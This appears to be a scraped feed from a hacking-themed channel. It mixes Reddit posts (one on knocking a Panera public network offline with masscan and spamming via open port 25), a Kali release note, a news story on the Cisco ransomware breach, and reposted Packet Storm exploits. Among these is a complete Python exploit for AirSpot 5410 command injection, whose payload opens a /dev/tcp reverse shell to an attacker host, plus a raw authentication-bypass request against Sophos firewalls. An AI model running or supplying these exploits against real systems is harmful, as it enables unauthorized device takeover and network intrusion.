Panera Bread Public Network security is just sad.
https://www.reddit.com/r/Pentesting/comments/wlijye/panera_bread_public_network_security_is_just_sad/

I recently was at a Panera Bread, and their public network security was just horrible. Two of the main issues included: A: no good qos system, i was able to DoS the network by simply hogging the bandwith with masscan. no webpages or anything could load for other users while this command was running on my laptop B: Port 25 outbound is not blocked, which makes it extremely easy to scan the internet for open smtp relays to send spam mail from, this could be happening from a malicous actor in the building or a compromised computer on the network. So yeah the security sucks and it is very exploitable, especially for use to connect to unsecure smtp servers and send spam mail. submitted by /u/EvansMBgaming (https://www.reddit.com/user/EvansMBgaming)
[link] (https://www.reddit.com/r/Pentesting/comments/wlijye/panera_bread_public_network_security_is_just_sad/) [comments] (https://www.reddit.com/r/Pentesting/comments/wlijye/panera_bread_public_network_security_is_just_sad/)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux 2022.3 - Penetration Testing and Ethical Hacking Linux Distribution

Time for another Kali Linux release! – Kali Linux 2022.3. This release has various impressive updates.The highlights for Kali’s 2022.3’s release:Discord Server - Kali’s new community real-time chat option has launched!Test Lab Environment - Quickly create a test bed to learn, practice, and benchmark tools and compare their resultsOpening Kali-Tools Repo - We have opened up the Kali tools repository & are accepting your submissions!Help Wanted - We are looking for a Go developer to help us on an open-source projectKali NetHunter Updates - New releases in our NetHunter storeVirtual Machines Updates - New VirtualBox image format, weekly images, and build-scripts to build your ownNew Tools In Kali - Would not be a release without some new tools!For more details, see the bug tracker changelog.More info here.Download Kali Linux 2022.3
Read more...

Kali Linux 2022.3 - Penetration Testing and Ethical Hacking Linux Distribution
http://www.kitploit.com/2022/08/kali-linux-20223-penetration-testing.html

___________________________
@hacking_Attack
@Hacking_Video

Time for another Kali Linux release! – Kali Linux 2022.3. This release has various impressive updates.
The highlights for Kali’s 2022.3’s release:Discord Server (https://www.kali.org/blog/kali-linux-2022-3-release/#kali-is-on-discord) - Kali’s new community real-time chat option has launched!Test Lab Environment (https://www.kali.org/blog/kali-linux-2022-3-release/#test-lab-environment) - Quickly create a test bed to learn, practice, and benchmark tools and compare their resultsOpening Kali-Tools Repo (https://www.kali.org/blog/kali-linux-2022-3-release/#kali-tools-documentation) - We have opened up the Kali tools repository & are accepting your submissions!Help Wanted (https://www.kali.org/blog/kali-linux-2022-3-release/#help-wanted) - We are looking for a Go developer to help us on an open-source projectKali NetHunter Updates (https://www.kali.org/blog/kali-linux-2022-3-release/#kali-nethunter-updates) - New releases in our NetHunter storeVirtual Machines Updates (https://www.kali.org/blog/kali-linux-2022-3-release/#kali-for-virtual-machines) - New VirtualBox image format, weekly images, and build-scripts to build your ownNew Tools In Kali (https://www.kali.org/blog/kali-linux-2022-3-release/#new-tools-in-kali) - Would not be a release without some new tools!For more details, see the bug tracker changelog (https://bugs.kali.org/changelog_page.php).
More info here (https://www.kali.org/blog/kali-linux-2022-3-release/).


Download Kali Linux 2022.3 (https://www.kali.org/get-kali/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
socks5 proxies opsec

When you connect to a socks5 proxy what information can it log about your system when you connect to it?

submitted by /u/dannova23
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
how do black hat wifi hackers make money?

Do they sell the packages they sniffed or what?

submitted by /u/Killbot001
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
FedTAFE is offering free self-paced CCNA right now. Offer expires on the 17th.

submitted by /u/PM_ME_PICS_OF_ROB0TS
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Conti extortion gangs behind surge of BazarCall phishing attacks

https://external-preview.redd.it/r0evZTTHiu3HFZer8V5dftb3GGOJL6x7sqvkc2d8b_M.jpg?width=640&crop=smart&auto=webp&s=646a255198653ef43c4d35c892bca44e46c41bfa submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Post was deleted not sure why..??? BIOS password on G8 Elitebook.

Hey,

I am wondering how or is it poss to remove a BIOS password from a 850 G8 HP Elitebook.

Do the AMD an Intel variants of these laptops have the same BIOS chip, Can I use the https://bios-pw.org/ web site for this or must I remove the chip and re-program ?

All help is greatly appreciated,

Cheers,

Jay

submitted by /u/jaymcs76
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
AirSpot 5410 0.3.4.1-4 Remote Command Injection

https://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png
AirSpot 5410 versions 0.3.4.1-4 and below suffer from an unauthenticated remote command injection vulnerability.

SHA-256 | 0453a46f41ec4c59c37a44bb644827c11fe0d7e8677419a16aefa00836c95383

Download
# -*- coding: utf-8 -*-

# Exploit Title: AirSpot unauthenticated remote command injection
# Date: 7/26/2022
# Exploit Author: Samy Younsi (NSLABS) (https://samy.link)
# Vendor Homepage: https://www.airspan.com/
# Software Link: https://wdi.rfwel.com/cdn/techdocs/AirSpot5410.pdf
# Version: 0.3.4.1-4 and under.
# Tested on: Airspan AirSpot 5410 version 0.3.4.1-4 (Ubuntu)
# CVE : CVE-2022-36267

from __future__ import print_function, unicode_literals
import argparse
import requests
import urllib3
urllib3.disable_warnings()

def banner():
airspanLogo = """
,-.
/ \ `. __..-,O
: \ --''_..-'.'
| . .-' `. '.
: . .`.'
\ `. / ..
\ `. ' .
`, `. \
,|,`. `-.\
'.|| ``-...__..-`
| | Airspan
|__| AirSpot 5410
/||\ PWNED x_x
//||\\
// || \\
__//__||__\\__
'--------------'Necrum Security Labs

\033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m \033[1;91mAirSpot 5410 CMD INJECTION\033[1;m
FOR EDUCATIONAL PURPOSE ONLY.
"""
return print('\033[1;94m{}\033[1;m'.format(airspanLogo))

def pingWebInterface(RHOST, RPORT):
url = 'https://{}:{}'.format(RHOST, RPORT)
try:
response = requests.get(url, allow_redirects=False, verify=False, timeout=30)
if response.status_code != 200:
print('[!] \033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
exit()
print('[INFO] Airspan device web interface seems reachable!')
except:
print('[!] \033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
exit()
def execReverseShell(RHOST, RPORT, LHOST, LPORT):
payload = '`sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`'.format(LHOST, LPORT)
data = 'Command=pingDiagnostic&targetIP=1.1.1.1{}&packetSize=55&timeOut=10&count=1'.format(payload)
try:
print('[INFO] Executing reverse shell...')
response = requests.post('https://{}:{}/cgi-bin/diagnostics.cgi'.format(RHOST, RPORT), data=data, verify=False)
print("Reverse shell successfully executed. {}:{}".format(LHOST, LPORT))
return
except Exception as e:
print("Reverse shell failed. Make sure the AirSpot 5410 device can reach the host {}:{}").format(LHOST, LPORT)
return False

def main():
banner()
args = parser.parse_args()
pingWebInterface(args.RHOST, args.RPORT)
execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Script PoC that exploit an nauthenticated remote command injection on Airspan AirSpot devices.', add_help=False)
parser.add_argument('--RHOST', help="Refers to the IP of the target machine. (Airspan AirSpot device)", type=str, required=True)
parser.add_argument('--RPORT', help="Refers to the open port of the target machine. (443 by default)", type=int, required=True)
parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)
parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)
main()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Zimbra zmslapd Privilege Escalation

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Webmin Package Updates Command Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Sophos XG115w Firewall 17.0.10 MR-10 Authentication Bypass

https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
Sophos XG115w Firewall version 17.0.10 MR-10 suffers from an authentication bypass vulnerability.

SHA-256 | caaaf298385288773c3e71845cbf340e5bbbc9ab2655ac84f91e638760b5551a

Download
# Exploit Title: Sophos XG115w Firewall 17.0.10 MR-10 - Authentication Bypass
# Date: 2022-08-09
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://www.sophos.com
# Version: 17.0.10 MR-10
# Tested on: Windows 11
# CVE : CVE-2022-1040

# [ VULNERABILITY DETAILS ] :

#This vulnerability allows an attacker to gain unauthorized access to the firewall management space by bypassing authentication.

# [ SAMPLE REQUEST ] :

POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066

# [ KEY MODE ] : \u0000eb ,\u0000fc , \u0000 ,\u0000ef ,...

# [ Successful response ] :

HTTP/1.1 200 OK
Date: Thu, 04 Aug 2022 17:06:39 GMT
Server: xxxx
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/plain;charset=utf-8
Content-Length: 53
Set-Cookie: JSESSIONID=1jy5ygk6w0mfu1mxbv6n30ptal108;Path=/webconsole;Secure;HttpOnly
Connection: close

{"redirectionURL":"/webpages/index.jsp","status":200}

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Cisco hacked by Yanluowang ransomware gang, 2.8GB allegedly stolen

Cisco hacked by Yanluowang ransomware gang, 2.8GB allegedly stolenPost Views: 17 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/Patreon-1.png Subscribe to Patreon to watch this episode.
Reading Time: 3 Minutes Cisco confirmed today that the Yanluowang ransomware group breached its corporate network in late May and that the actor tried to extort them under the threat of leaking stolen files online.The company revealed that the attackers could only harvest and steal non-sensitive data from a Box folder linked to a compromised employee’s account.

“Cisco experienced a security incident on our corporate network in late May 2022, and we immediately took action to contain and eradicate the bad actors,” a Cisco spokesperson told BleepingComputer.

“Cisco did not identify any impact to our business as a result of this incident, including Cisco products or services, sensitive customer data or sensitive employee information, intellectual property, or supply chain operations.

“On August 10 the bad actors published a list of files from this security incident to the dark web. We have also implemented additional measures to safeguard our systems and are sharing technical details to help protect the wider security community.”
https://www.bleepstatic.com/images/news/u/1109292/2022/Yanluowang_email_to_Cisco.png
Stolen employee credentials used to breach Cisco’s networkThe Yanluowang threat actors gained access to Cisco’s network using an employee’s stolen credentials after hijacking the employee’s personal Google account containing credentials synced from their browser.

The attacker convinced the Cisco employee to accept multi-factor authentication (MFA) push notifications through MFA fatigue and a series of sophisticated voice phishing attacks initiated by the Yanluowang gang that impersonated trusted support organizations.

The threat actors finally tricked the victim into accepting one of the MFA notifications and gained access to the VPN in the context of the targeted user.

Once they gained a foothold on the company’s corporate network, Yanluowang operators spread laterally to Citrix servers and domain controllers.

“They moved into the Citrix environment, compromising a series of Citrix servers and eventually obtained privileged access to domain controllers,” Cisco Talos said.

After gaining domain admin, they used enumeration tools like ntdsutil, adfind, and secretsdump to collect more information and installed a series of payloads onto compromised systems, including a backdoor.

Ultimately, Cisco detected and evicted them from its environment, but they continued trying to regain access over the following weeks.

“After obtaining initial access, the threat actor conducted a variety of activities to maintain access, minimize forensic artifacts, and increase their level of access to systems within the environment,” Cisco Talos added.

“The threat actor was successfully removed from the environment and displayed persistence, repeatedly attempting to regain access in the weeks following the attack; however, these attempts were unsuccessful.”
Trending: Find Hidden Info using Google Dorking manually, and Automated using Pagodo
Trending: Offensive Security Tool: Offensive-Azure Hackers claim to steal data from CiscoLast week, the threat actor behind the Cisco hack emailed BleepingComputer a directory listing of files allegedly stolen during the attack.

The threat actor claimed to have stolen 2.75GB of data, consisting of approx[...]

___________________________
@hacking_Attack
@Hacking_Video